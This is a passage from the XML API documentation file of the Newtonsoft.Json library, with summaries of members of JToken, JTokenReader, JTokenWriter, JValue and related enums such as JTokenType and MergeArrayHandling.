annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteToAsync(Newtonsoft.Json.JsonWriter,System.Threading.CancellationToken,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> asynchronously.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous write operation.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateString(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> string with the given value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateNull\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> null value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateUndefined\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.\n            </summary>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> undefined value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.Value\">\n            <summary>\n            Gets or sets the underlying token value.\n            </summary>\n            <value>The underlying token value.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Indicates whether the current object is equal to another object of the same type.\n            </summary>\n            <returns>\n            <c>true</c> if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"other\">An object to compare with this object.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.Equals(System.Object)\">\n            <summary>\n            Determines whether the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> to compare with the current <see cref=\"T:System.Object\"/>.</param>\n            <returns>\n            <c>true</c> if the specified <see cref=\"T:System.Object\"/> is equal to the current <see cref=\"T:System.Object\"/>; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetHashCode\">\n            <summary>\n            Serves as a hash function for a particular type.\n            </summary>\n            <returns>\n            A hash code for the current <see cref=\"T:System.Object\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JValue.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.ToString(System.String,System.IFormatProvider)\">\n            <summary>\n            Returns a <see cref=\"T:System.String\"/> that represents this instance.\n            </summary>\n            <param name=\"format\">The format.</param>\n            <param name=\"formatProvider\">The format provider.</param>\n            <returns>\n            A <see cref=\"T:System.String\"/> that represents this instance.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CompareTo(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object.\n            </summary>\n            <param name=\"obj\">An object to compare with this instance.</param>\n            <returns>\n            A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings:\n            Value\n            Meaning\n            Less than zero\n            This instance is less than <paramref name=\"obj\"/>.\n            Zero\n            This instance is equal to <paramref name=\"obj\"/>.\n            Greater than zero\n            This instance is greater than <paramref name=\"obj\"/>.\n            </returns>\n            <exception cref=\"T:System.ArgumentException\">\n            \t<paramref name=\"obj\"/> is not of the same type as this instance.\n            </exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.LineInfoHandling\">\n            <summary>\n            Specifies how line information is handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Ignore\">\n            <summary>\n            Ignore line information.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\">\n            <summary>\n            Load line information.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeArrayHandling\">\n            <summary>\n            Specifies how JSON arrays are merged together.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Concat\">\n            <summary>Concatenate arrays.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Union\">\n            <summary>Union arrays, skipping items that already exist.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Replace\">\n            <summary>Replace all array items.</summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeArrayHandling.Merge\">\n            <summary>Merge array items together, matched by index.</summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.MergeNullValueHandling\">\n            <summary>\n            Specifies how null value properties are merged.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Ignore\">\n            <summary>\n            The content's null value properties will be ignored during merging.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.MergeNullValueHandling.Merge\">\n            <summary>\n            The content's null value properties will be merged.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.MemberSerialization\">\n            <summary>\n            Specifies the member serialization options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptOut\">\n            <summary>\n            All public members are serialized by default. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This is the default member serialization mode.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.OptIn\">\n            <summary>\n            Only members marked with <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> or <see cref=\"T:System.Runtime.Serialization.DataMemberAttribute\"/> are serialized.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.Runtime.Serialization.DataContractAttribute\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.MemberSerialization.Fields\">\n            <summary>\n            All public and private fields are serialized. Members can be excluded using <see cref=\"T:Newtonsoft.Json.JsonIgnoreAttribute\"/> or <see cref=\"T:System.NonSerializedAttribute\"/>.\n            This member serialization mode can also be set by marking the class with <see cref=\"T:System.SerializableAttribute\"/>\n            and setting IgnoreSerializableAttribute on <see cref=\"T:Newtonsoft.Json.Serialization.DefaultContractResolver\"/> to <c>false</c>.\n            </summary>\n        </member>\n        <member 